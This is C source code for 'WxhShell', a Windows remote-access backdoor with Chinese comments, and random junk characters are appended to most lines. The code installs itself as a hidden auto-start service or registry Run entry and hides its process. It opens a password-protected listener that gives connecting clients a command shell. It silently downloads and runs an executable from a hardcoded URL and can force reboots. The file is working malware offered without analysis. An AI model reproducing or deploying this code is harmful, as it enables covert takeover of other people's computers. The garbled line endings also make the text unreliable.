    if(Boot(SHUTDOWN)) 2@ZRz%(Oa&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Xt`L"f  
    else { q.@% H}  
    closesocket(wsh); ?(Plb&kR  
    ExitThread(0); O2 + K  
    } vfmY >nr  
    break; C"s-ttP   
    } EymSrZw  
  // 获取shell Nvh& =%{g  
  case 's': { 15' fU!  
    CmdShell(wsh); 9!Xp+<  
    closesocket(wsh); Cp>y<C"  
    ExitThread(0); CW/L(RQ  
    break; A9"!=/~  
  } OZ"76|H1`  
  // 退出 !g=b=YK  
  case 'x': { s&$e}yxVO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zv-1*hhHf  
    CloseIt(wsh); 0E (G1o'  
    break; &0%B3  
    } ORWi+H|  
  // 离开 UVgSO|Tg  
  case 'q': { R>;&4Sjr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e:.?T\  
    closesocket(wsh); pm:-E(3#  
    WSACleanup(); aX |(%1r  
    exit(1); (FgX9SV]p9  
    break; MpJ<.|h  
        } q 6>}  
  } }?c%L8\  
  } =]pEvj9o  
^L7!lzyo  
  // 提示信息 &1`Y&x:p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H/;AlN|!  
} <$25kb R5K  
  } Xrpvq(]  
C>,> _  
  return; ! R3P@,j  
} R?- zJ ;  
qcQq.cS_'N  
// shell模块句柄 U^U hZ!  
int CmdShell(SOCKET sock) ZBN,%P!P0  
{ +Kg }R5+  
STARTUPINFO si; BD86t[${W  
ZeroMemory(&si,sizeof(si)); asLrXGGyT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `s Pk:cNz~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b7T;6\[m  
PROCESS_INFORMATION ProcessInfo; #)[.Xz:U  
char cmdline[]="cmd"; y*US^HJOZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , `EOJ"|  
  return 0; C-h?#/#?y  
} zfg+gd)Z  
@M'qi=s*  
// 自身启动模式 Zkqq<  
int StartFromService(void) X-TGrdoX  
{ +o"CMI  
typedef struct R(cg`8  
{ .c__T {<)[  
  DWORD ExitStatus; d\JB jT1g  
  DWORD PebBaseAddress; S'NLj(  
  DWORD AffinityMask; ]IeLKcn  
  DWORD BasePriority; gMkSl8[  
  ULONG UniqueProcessId; 0G33hIOS  
  ULONG InheritedFromUniqueProcessId; Cx.##n0  
}   PROCESS_BASIC_INFORMATION; ^=1u2YdVw  
-o!bO9vC  
PROCNTQSIP NtQueryInformationProcess; U0{)goN.  
%^nNt:N0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \+l_H4\`K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iDhC_F|  
DQ c\[Gq&  
  HANDLE             hProcess; LXhR"PWZM\  
  PROCESS_BASIC_INFORMATION pbi; 6 v~nEw  
zDbO~.d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aIrM-c8.O  
  if(NULL == hInst ) return 0; b0f6p>~q^  
C8|#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :eJJL,v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [/VpvQ'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X-,oL.:c  
<hTHY E=  
  if (!NtQueryInformationProcess) return 0; #M+_Lk3  
^3H:I8gRCl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |JHNFs  
  if(!hProcess) return 0; ,Oy$q~.  
EBz4k)@m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z2H bAI8  
U,61 3G  
  CloseHandle(hProcess); nKnrh]hX  
a l6y=;\jZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [C<K~  
if(hProcess==NULL) return 0; M*Ej*#  
"+wkruC  
HMODULE hMod; S?C.:  
char procName[255]; iF837ng5  
unsigned long cbNeeded; op9vz[o#4  
OJJ [Er1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w%\{4T~  
DG0I- "s  
  CloseHandle(hProcess); !cM<&3/  
$?]`2*i  
if(strstr(procName,"services")) return 1; // 以服务启动 SBs!52  
S_OtY]gF  
  return 0; // 注册表启动 BT_XqO  
} *n7=m=%)  
(6:.u.b  
// 主模块 Th*}U&  
int StartWxhshell(LPSTR lpCmdLine) 0chpC)#Q3;  
{ l}/&6hI+d  
  SOCKET wsl; 8TP~=qU  
BOOL val=TRUE; '` 2MxRP  
  int port=0; x a<KF  
  struct sockaddr_in door; O"\_%=X9  
bGK*1FlH  
  if(wscfg.ws_autoins) Install(); k<+Sj h$  
d ePk}Sn  
port=atoi(lpCmdLine); U=69q]  
B7|%N=S%/  
if(port<=0) port=wscfg.ws_port; <j,3Dn  
e.%I#rNI  
  WSADATA data; &ni#(   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6DK).|@$r  
UntFkoO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {Q_GJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a7F_{Mm  
  door.sin_family = AF_INET; $;Iz7:#jN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jvsy 6R  
  door.sin_port = htons(port); xU0iz{9  
^" 54Q^SH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |uw48*t  
closesocket(wsl); Fw{@RQf8  
return 1; .35~+aqC  
} xE^G*<mj:  
vcp{Gf|^  
  if(listen(wsl,2) == INVALID_SOCKET) { *i:8g(  
closesocket(wsl); l>pB\<LL  
return 1; xRhGBb{@s  
} oq!\100  
  Wxhshell(wsl); K\XQ E50  
  WSACleanup(); F~ \ONO5  
hif;atO  
return 0; YlGUd~$`"+  
yUpN`;  
} -s`Wd4AP  
a3\~AO H%  
// 以NT服务方式启动 ,IqE<i!U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ly0L)L]\  
{ &oB*gGRw=7  
DWORD   status = 0; xR&:]M[Vg  
  DWORD   specificError = 0xfffffff; 26nwUNak  
N0kCdJv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )j~{P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K{/i2^4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t,8?Tf+i  
  serviceStatus.dwWin32ExitCode     = 0; "#7Q}d!x  
  serviceStatus.dwServiceSpecificExitCode = 0; f77W{T4  
  serviceStatus.dwCheckPoint       = 0; L/-SWid)  
  serviceStatus.dwWaitHint       = 0; ol/@)k^s>  
nAl \9#M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )$9w Kk\F  
  if (hServiceStatusHandle==0) return; .d^8?vo  
7qOkv1.}0  
status = GetLastError(); _B erHoQd  
  if (status!=NO_ERROR) V*Fy@  
{ 5YNAb/! !F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "N=$ =Dy >  
    serviceStatus.dwCheckPoint       = 0; ]wEI *c(  
    serviceStatus.dwWaitHint       = 0; C=q&S6/+  
    serviceStatus.dwWin32ExitCode     = status; h'=)dFw7  
    serviceStatus.dwServiceSpecificExitCode = specificError; { >izfG,\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \i//Aq  
    return; 8w:mL^6x  
  } __QnzEF  
6V1oZ-:}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; | |pOiR5  
  serviceStatus.dwCheckPoint       = 0; W$SV+q(rT  
  serviceStatus.dwWaitHint       = 0; #iv4L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SH=S>  
} I5l%X{u"N  
~( XaXu  
// 处理NT服务事件,比如:启动、停止 $3>Rw/,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %po;ih$jr*  
{ ^ [HUtq  
switch(fdwControl) OF']-  
{ wUr(i*  
case SERVICE_CONTROL_STOP: (UjaL@G  
  serviceStatus.dwWin32ExitCode = 0; yGt [Qvx#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ew PJ|Z^  
  serviceStatus.dwCheckPoint   = 0; <_|@ ~^u  
  serviceStatus.dwWaitHint     = 0; ?zutU w/m  
  { *v K~t|z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a BMV6'  
  } S$fS|N3]%  
  return; jFe8s@7  
case SERVICE_CONTROL_PAUSE: *f;$5B#^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dO1 m  
  break; PDA9.b<q0  
case SERVICE_CONTROL_CONTINUE: E.NfVeq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RxJbQs$Ph  
  break; [9Rh"H;h  
case SERVICE_CONTROL_INTERROGATE: JJWP te/  
  break; r`6f  
}; t855|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gsM$VaF(  
} T$2A2gb `  
y< dBF[  
// 标准应用程序主函数 x  zF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YB4 ZI  
{ OQ_< Vxz  
W? 4:sLC#3  
// 获取操作系统版本 Y#V(CIDe  
OsIsNt=GetOsVer(); x+6z9{O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'h6G"=+  
O^-QqCZE  
  // 从命令行安装 gTTKjlI [  
  if(strpbrk(lpCmdLine,"iI")) Install(); R,PN?aj  
sgK =eBE  
  // 下载执行文件 w2'z~\dG8  
if(wscfg.ws_downexe) { Z'k?lkB2i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2'M5+[8y8  
  WinExec(wscfg.ws_filenam,SW_HIDE); c)^A|{,G  
} AhOBbss]q  
v}t{*P  
if(!OsIsNt) { 4+ d(d  
// 如果时win9x,隐藏进程并且设置为注册表启动 @aUNyyVP  
HideProc(); F1$XUos9  
StartWxhshell(lpCmdLine); ,WOCG 2h  
} {{P 3Z[  
else ]6`K  
  if(StartFromService()) JC~sz^>p\  
  // 以服务方式启动 !] uB4  
  StartServiceCtrlDispatcher(DispatchTable); CStNCBZ|\  
else kn>qX{W  
  // 普通方式启动 O ] !tK  
  StartWxhshell(lpCmdLine); cW0\f5[/  
C/N;4  
return 0; db1ZNw  
} ATc!c +  
uQ[,^Ee&/  
420K6[  
vD9.X}l]  
=========================================== 'J &R=MD  
jA:'P~`Hj  
P(8Yz W  
vS5}OV  
 }E(w@&  
(_}q>3  
" B:v_5e\f@  
!F}GSDDV*  
#include <stdio.h> ?F[_5ls|]  
#include <string.h> JLWm9c+UTG  
#include <windows.h> zJ8T.+qJ  
#include <winsock2.h> dT7f yn  
#include <winsvc.h> Wkk(6gS,  
#include <urlmon.h> 3)=ix. wW  
|-/@3gPO  
#pragma comment (lib, "Ws2_32.lib") L6nsVL&  
#pragma comment (lib, "urlmon.lib") )^qXjF  
Z D"*fr  
#define MAX_USER   100 // 最大客户端连接数 o ?05bv  
#define BUF_SOCK   200 // sock buffer gfAWN  
#define KEY_BUFF   255 // 输入 buffer @YaI5>,/  
pd:YR;  
#define REBOOT     0   // 重启 lj&\F|-i  
#define SHUTDOWN   1   // 关机 ol_\ "  
!WlL RkwO  
#define DEF_PORT   5000 // 监听端口 PuZzl%i P3  
b+whZtNk7  
#define REG_LEN     16   // 注册表键长度 Z7y%  
#define SVC_LEN     80   // NT服务名长度 ,Q Ge=Exn  
/[>_Ry,  
// 从dll定义API NkGtZ.!pk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >+i+_^]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Er@xrhH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _/P;`@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F)eP55C6  
V[WZ#u-p  
// wxhshell配置信息 Vtj*O'0  
struct WSCFG { A~>B?Wijqg  
  int ws_port;         // 监听端口 ?rt[ aK  
  char ws_passstr[REG_LEN]; // 口令 z)*{bz]  
  int ws_autoins;       // 安装标记, 1=yes 0=no lAA6tlc#C  
  char ws_regname[REG_LEN]; // 注册表键名 =<9Mv+Ry8  
  char ws_svcname[REG_LEN]; // 服务名 #huh!Mn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p%bMfi*T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `]GL3cIh:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ti1R6oSn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 67T.qX2I$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o M@%2M_O(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u"hr4+/  
RJDk7{(  
}; A-myY30  
$d-yG553  
// default Wxhshell configuration 94 6r#`q  
struct WSCFG wscfg={DEF_PORT, o\Fv~^  
    "xuhuanlingzhe", 6A>bm{`c:  
    1, vOKNBR2  
    "Wxhshell", oo]P}ra  
    "Wxhshell", GYf{~J  
            "WxhShell Service", DU*qhW`X  
    "Wrsky Windows CmdShell Service", PK&&Vu2M  
    "Please Input Your Password: ", yF|yZ{  
  1, U_aI!`WXd  
  "http://www.wrsky.com/wxhshell.exe", ^e]O >CJ  
  "Wxhshell.exe" #>~A-k)  
    }; w-km qh  
gxI/MD~!>  
// 消息定义模块 c(8>oeKyD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z{#3-O<a+n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [\Aws^fD_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [Ax :gj  
char *msg_ws_ext="\n\rExit."; n3U| d+  
char *msg_ws_end="\n\rQuit.";  4J=6U&b  
char *msg_ws_boot="\n\rReboot..."; JCZ&TK  
char *msg_ws_poff="\n\rShutdown..."; 69ycP(  
char *msg_ws_down="\n\rSave to "; 9w&CHg7D i  
dW5r]D[Cx  
char *msg_ws_err="\n\rErr!"; u0?TMy.%  
char *msg_ws_ok="\n\rOK!"; Jz&dC  
IJPyCi)  
char ExeFile[MAX_PATH]; t^6ams$  
int nUser = 0; 3_ E}XQd  
HANDLE handles[MAX_USER]; *j1Skd.#At  
int OsIsNt; Ei<+{P(t0  
6b` Jq>v  
SERVICE_STATUS       serviceStatus; }7fzEo`g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fyx Q{J  
7uv"#mq  
// 函数声明 wax^iL!  
int Install(void); }p)a 7xn}  
int Uninstall(void); Ew{N 2  
int DownloadFile(char *sURL, SOCKET wsh); vu*{+YpH  
int Boot(int flag); e cvZwL  
void HideProc(void); v=uQ8_0~N  
int GetOsVer(void); d|UH AX  
int Wxhshell(SOCKET wsl); *z~J ]  
void TalkWithClient(void *cs); chuJj IY  
int CmdShell(SOCKET sock); >: @\SU  
int StartFromService(void); @JP6F[d  
int StartWxhshell(LPSTR lpCmdLine); [>j.x2=  
Cf<TDjU`|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `C6,**`R$k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vKkvB;F41  
.Z17X_  
// 数据结构和表定义 ecp0 hG`%  
SERVICE_TABLE_ENTRY DispatchTable[] = DAMw(  
{ :2{ [f+  
{wscfg.ws_svcname, NTServiceMain}, +}-cvM/*  
{NULL, NULL} dftX$TS  
}; [R~@#I P!  
N=8CVI  
// 自我安装 3`"k1W  
int Install(void) pG/g  
{ aJ]t1  
  char svExeFile[MAX_PATH]; oJ=u pnBn-  
  HKEY key; y dzvjp=  
  strcpy(svExeFile,ExeFile); ; Oz p  
"KY]2v.  
// 如果是win9x系统,修改注册表设为自启动 $@dPIq4o;}  
if(!OsIsNt) { yN}<l%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .d4&s7n0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pl 1CEoe  
  RegCloseKey(key); !6s]p%{V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Pq6q.UB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6<n+p'+n  
  RegCloseKey(key); 5pE@Ww  
  return 0; F2=#\U$  
    } 0@#d($'1?Z  
  } Pv8AWQQJ  
} 1a},(ZcdX  
else { LkXF~  
O<0-`=W,a  
// 如果是NT以上系统,安装为系统服务 j0e1CSE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T!5g:;~y >  
if (schSCManager!=0) Bq \WG=Fd  
{ Fz_8m4  
  SC_HANDLE schService = CreateService B|BJkY'  
  ( \88 IFE  
  schSCManager, S3 /Z]?o  
  wscfg.ws_svcname, A Rjox`  
  wscfg.ws_svcdisp, \,b_8^  
  SERVICE_ALL_ACCESS, *wz62p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /vFdhh  
  SERVICE_AUTO_START, DzvGR)>/  
  SERVICE_ERROR_NORMAL, 9KZLlEk5O  
  svExeFile, , @6_sl  
  NULL, EF'U`\gX  
  NULL, )G9,5[  
  NULL, S 5nri(m  
  NULL, *s"{JrG`O  
  NULL uTUkRqtD!  
  ); &#[6a&9#[A  
  if (schService!=0) -B#>Jn#F  
  { rIF6^?  
  CloseServiceHandle(schService); Qc"UTvq  
  CloseServiceHandle(schSCManager); KZTT2KsYl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W6uz G  
  strcat(svExeFile,wscfg.ws_svcname); r}])V[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ps7Bt(/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =wX(a  
  RegCloseKey(key); 2UjQ!g`  
  return 0; S4(lC%$|  
    } tdB<  
  } 9mH/xP:y  
  CloseServiceHandle(schSCManager); b\9}zmG[u  
} '>5W`lZ  
} wloQk(T<W  
cYp]zn+6  
return 1; Q>emyij  
} a-7T   
C e1^S[  
// 自我卸载 ]l4# KI@  
int Uninstall(void) ^iaG>rvA  
{ ?Dk&5d^d  
  HKEY key; MHkTN  
.#y.:Pb|e  
if(!OsIsNt) { \"@BZ.y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DkGC+Dw  
  RegDeleteValue(key,wscfg.ws_regname); PF?tEw_WB  
  RegCloseKey(key); +\n8##oAI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ACcxQK}  
  RegDeleteValue(key,wscfg.ws_regname); *XZlnO  
  RegCloseKey(key); N v,Yikf  
  return 0; VCZ.{MD  
  } *^q%b /f  
} X!%CYmIRb  
} *CtO Q  
else { 3jB5F0^r1  
HqpwQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =N%;HfUD  
if (schSCManager!=0) co$I htOv  
{ Spossp`|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %4~2  
  if (schService!=0) n2$(MDdL`  
  { DPE]<oM  
  if(DeleteService(schService)!=0) { W7QcDR y6  
  CloseServiceHandle(schService); AF}6O(C~  
  CloseServiceHandle(schSCManager); xu _:  
  return 0; tGcp48R-:+  
  } bZ.q?Hlfk  
  CloseServiceHandle(schService); ny:4L{)  
  } 5P'<X p  
  CloseServiceHandle(schSCManager); `|\z#Et  
} Q^qdm5}UkW  
} W9ZfD~(3-  
V~> x \  
return 1; +&7D ;wj=  
} kCO`JAH#  
Jf-4Q!  
// 从指定url下载文件 $-zt,iRyV  
int DownloadFile(char *sURL, SOCKET wsh) G:HPd.ay  
{ qd=&*?  
  HRESULT hr; E{m\LUd^ :  
char seps[]= "/"; > :s#MwIwm  
char *token; yaiw|j`A  
char *file; Ydw04WEJ  
char myURL[MAX_PATH]; u&HLdSHe  
char myFILE[MAX_PATH]; y Q_lJIX  
bcp+7b(IB  
strcpy(myURL,sURL); [/ B$cH  
  token=strtok(myURL,seps); u dhj$:t  
  while(token!=NULL) Ka|WT|1  
  { Gm 0&y  
    file=token; xWv@PqXD  
  token=strtok(NULL,seps); DM3W99PWA  
  } @pcmVsIp  
e_Ue9c.}  
GetCurrentDirectory(MAX_PATH,myFILE); +=v6 *%y"V  
strcat(myFILE, "\\"); 7$8YBcZ6  
strcat(myFILE, file); dX4"o?KD>  
  send(wsh,myFILE,strlen(myFILE),0); <<,YgRl2  
send(wsh,"...",3,0); 2WK]I1_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =i_ s#v[Y  
  if(hr==S_OK) hx4X#_)v  
return 0; %|&WcpQR  
else j:)"s_  
return 1; ?U\@?@  
?pS,?>J f  
} PyOj{WX>W  
g%P6f  
// 系统电源模块 KCE5Z?k  
int Boot(int flag) F|,_k%QP  
{ k}xXja*  
  HANDLE hToken; 'G6g yO/K  
  TOKEN_PRIVILEGES tkp; sp=;i8Y 3  
oa4{s&db-  
  if(OsIsNt) { }Zs y&K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :qfP>Ok  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fwe4f  
    tkp.PrivilegeCount = 1; O] T'\6w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~N<zv( {lG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xc4g`Xi  
if(flag==REBOOT) { h!k[]bt5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L_TM]0D>7  
  return 0; ZCP r`H  
} p_^Jr*Mv  
else { 3}: (.K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P!c.!8C$  
  return 0; Oz3JMZe  
} ""0 cw  
  } _,,w>q6K  
  else { _>b=f  
if(flag==REBOOT) { DZ-2Z@{PX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _#9F@SCA  
  return 0; /2%646  
} %T~3xQ  
else { b3'U }0Ug  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y@jO#6R  
  return 0; e}xx4mYo  
} 2=\} 0  
} Mm&#I[:  
O,a1?_m8  
return 1; ]~YY#I":  
} 9oe=*#Ig1m  
tsYBZaH  
// win9x进程隐藏模块 \ 5&-U@  
void HideProc(void) Vx gP^*  
{ ]AB<OjF1c|  
bS1?I@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3PLYC}Jq  
  if ( hKernel != NULL ) W(gOid KKz  
  { 5 $58z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]!um}8!}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jTeHI|b  
    FreeLibrary(hKernel); j aU.hASj  
  } D1ep7ykY  
o_i N(K  
return; l;~b:[r  
} )z" .lw  
~K7$ZM  
// 获取操作系统版本 A$7j B4  
int GetOsVer(void) |E}-j;(  
{ hw @)W  
  OSVERSIONINFO winfo; 6E)emFkQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e|-%-juI  
  GetVersionEx(&winfo); dvW2X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N6>ert1  
  return 1; ]jB`"to*}  
  else at )m*  
  return 0; ,pTj'I  
} B - 1Kfc  
CVAX?c{   
// 客户端句柄模块 A)5;ae  
int Wxhshell(SOCKET wsl) "Dt: 8Nf^  
{ @'> Ul!.]  
  SOCKET wsh; 6)h~9iK  
  struct sockaddr_in client; {0o ,2]o!:  
  DWORD myID; gb^<6BYUG  
!>8/Xz~-  
  while(nUser<MAX_USER) Bo4MoSF}  
{ 3+4U?~^k*  
  int nSize=sizeof(client); Y(/y,bJ?jp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  r .`&z  
  if(wsh==INVALID_SOCKET) return 1; P-_2IZiz  
INRP@Cp1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c!ul9Cw  
if(handles[nUser]==0) _, r6t  
  closesocket(wsh); ev[!:*6P  
else Jwtt&" c0.  
  nUser++; "Q.KBX v/  
  } "<$JU@P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cl{kCSZo.z  
5{|tE!  
  return 0; >h9T/J8  
} tE$oV  
nkO4~p  
// 关闭 socket xFj<KvV[  
void CloseIt(SOCKET wsh) XE`u  
{ l|S_10x5  
closesocket(wsh); }08Sv=XM  
nUser--; %%{f-\-7Ig  
ExitThread(0); (,j ~s{  
} hbSXa'  
h @2.D|c)g  
// 客户端请求句柄 [2.;gZj  
void TalkWithClient(void *cs) n48%Uwa,  
{ ) :st-I!o  
WxJV zHtR  
  SOCKET wsh=(SOCKET)cs; El^V[s'3  
  char pwd[SVC_LEN]; EG J/r  
  char cmd[KEY_BUFF]; AkEt=vI  
char chr[1]; ayZWt| iHA  
int i,j; (r-8*)Qh8  
LJwy,-  
  while (nUser < MAX_USER) { _X~xfmU  
}Sh3AH/  
if(wscfg.ws_passstr) { bcUa'ZfN<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?hOv Y)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `s\E"QeZN  
  //ZeroMemory(pwd,KEY_BUFF); KN:V:8:J  
      i=0; m+EtB6r  
  while(i<SVC_LEN) { Kwo0%2Onkd  
&9 khIJI n  
  // 设置超时 D9r4oRkP*  
  fd_set FdRead; >l=;6QL  
  struct timeval TimeOut; *lBX/O`=  
  FD_ZERO(&FdRead); l}XnCOIT,  
  FD_SET(wsh,&FdRead); %g7B*AX]  
  TimeOut.tv_sec=8; |o#pd\  
  TimeOut.tv_usec=0; -uhg7N[3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =GL^tAUJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1$nuh@-ys  
] ?k\ qS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {S"!c.  
  pwd=chr[0]; |!xqkmX  
  if(chr[0]==0xd || chr[0]==0xa) { OP98sd&T  
  pwd=0; UW],9r/PD@  
  break; 4v#A#5+O E  
  } =PmIrvr'[5  
  i++; Tilw.z  
    } yhxZ^ (I  
[-hsG E  
  // 如果是非法用户,关闭 socket >8EmfjUoc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;BW-ag \9  
} ,L;%-}#$  
G8@LH   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X-F:)/$xG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ADT8A."R[  
) B[S4K2  
while(1) { DxzNg_E]  
"64D.c(r$  
  ZeroMemory(cmd,KEY_BUFF); qj*77  
b/&{:g!B  
      // 自动支持客户端 telnet标准   @WuG8G  
  j=0; 8C5*:x9l  
  while(j<KEY_BUFF) { zxy/V^mu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hEfFMi=a`  
  cmd[j]=chr[0]; S*(n s<L  
  if(chr[0]==0xa || chr[0]==0xd) { (2'q~Z+>'  
  cmd[j]=0; ?dQ#%06mn  
  break; ?#J;\^  
  } D)J'xG_<O  
  j++; f=Kt[|%'e  
    } 10ZL-7D#m  
+5ue) `  
  // 下载文件 3bR 6Y[  
  if(strstr(cmd,"http://")) { otJHcGv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4@"n7/<  
  if(DownloadFile(cmd,wsh)) Ya ~lPc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FfibR\dhY  
  else I#:,!vjn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &h?8yV4B  
  } nm !H&#<  
  else { kg()C%#u  
#W[C;f|,  
    switch(cmd[0]) {  2D"\Ox  
  -"w&g0Z  
  // 帮助 )Zit6I  
